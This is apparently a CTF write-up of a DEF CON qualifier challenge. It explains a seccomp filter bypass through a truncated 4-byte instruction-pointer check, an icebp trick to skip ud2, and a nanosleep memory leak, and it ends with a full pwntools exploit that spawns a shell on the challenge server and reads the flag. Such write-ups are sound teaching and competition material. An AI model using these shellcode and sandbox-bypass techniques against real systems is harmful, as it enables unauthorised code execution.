It’s the first problem I solved at Defcon.
and, Because I played the defcon, I messed up the exam.😂
Solved with Jsec
, Epist
Tl;dr
Trick
on Seccomp Filter’s check.
Brute force shellcoding
challenge.
Excute execveat(0, "/bin/sh", 0, 0, 0)
after bypass seccomp filter.
Binary
- Set Signal Handler on Signum 5 (
SIGTRAP
) - Allocate Memory twice ( addr1 :
0x10XXXXXXXXXX
, addr2 :0x5XXXXXXXXXXX
)
1-1. Input our Shellcode. - Munmap all Memory except addr1, addr2
- Call Signal Handler with
int3
- After Signal Handler,
IP
returns to our Shellcode.
=> There is two Problems. ( Seccomp filter,ud2
instruction )
Seccomp Filter
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0a 0xc000003e if (A != ARCH_X86_64) goto 0012
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x08 0x00 0x40000000 if (A >= 0x40000000) goto 0012
0004: 0x15 0x06 0x00 0x0000000b if (A == munmap) goto 0011
0005: 0x15 0x05 0x00 0x00000023 if (A == nanosleep) goto 0011
0006: 0x20 0x00 0x00 0x00000008 A = instruction_pointer
0007: 0x25 0x04 0x00 0x80000000 if (A > 0x80000000) goto 0012
0008: 0x20 0x00 0x00 0x00000000 A = sys_number
0009: 0x15 0x02 0x01 0x0000003b if (A == execve) goto 0012 else goto 0011
0010: 0x06 0x00 0x00 0x00000000 return KILL
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0012: 0x06 0x00 0x00 0x00000000 return KILL
Only munmap
and nanosleep
Syscall are available.
or, Instruction_Pointer(IP)
have to be smaller than 0x80000000
But, all Memory is bigger than 0x80000000
.
All Syscall gadgets fail to bypass IP CHECK
.
How can I bypass IP check
?
One interesting thing is that Seccomp only do 4 bytes of ip check.
So we can bypass IP CHECK
by using a syscall gadget in 0x10XXXXXXXXXX
.
( Binary always causes 4 bytes of addr1 address (0x10XXXXXXXXXX
) to be smaller than 0x80000000
)
ud2 instruction
ud2 instruction
means undefined instruction.
when IP
returns to our shellcode, ud2
instruction is executed.
-> Process stopped with exit code -4 ( SIGILL
)
But, we can execute only 1 instruction.
if we execute icebp (0xf1)
, we can escape ud2
instruction.
leak memory
if nanosleep's rdi
is invalid memory, return 0xfffffffffffffff2
.
else nanosleep's rdi
is valid memory but failed nanosleep
, return 0xffffffffffffffea
.
so we can leak memory 0x10XXXXXXXXXX
by brute force
then, just excute execveat(0, "/bin/sh", 0, 0, 0)
Exploit
from pwn import *
context(arch='amd64', os='linux')
context.log_level = 'error'
def pack64(x): return p64(x).encode("hex")
sc = '''
inc edi
shl rdi, 44
mov rsi, rsp
add rdi, 0x1000
xor rax, rax
mov al, 35
syscall
cmp al, 0xea
'''
sc2 = '''
lea rbx, [rdi+0xb4]
lea rsi, [rsp+0x30]
xor rdi, rdi
xor eax, eax
mov ax, 322
jmp rbx
nop
'''
pay = "f1"+ asm(sc).encode("hex") + "7405e9e6ffffff" + asm(sc2).encode("hex")
pay += "41"*(0x40 - (len(pay) // 2))
pay += pack64(0)
pay += "90"*0x20
pay += "2f62696e2f7368" #binsh
while True:
#p = process('./stub')
p = remote("segnalooo.challenges.ooo", 4321)
p.sendlineafter("Give me some code!\n", pay)
p.recvline()
for i in range(10):
p.sendline("while read line;do echo \"$line\";done < /flag")
res = p.recv(1024, timeout=1)
if len(res) != 0:
print(res)
exit()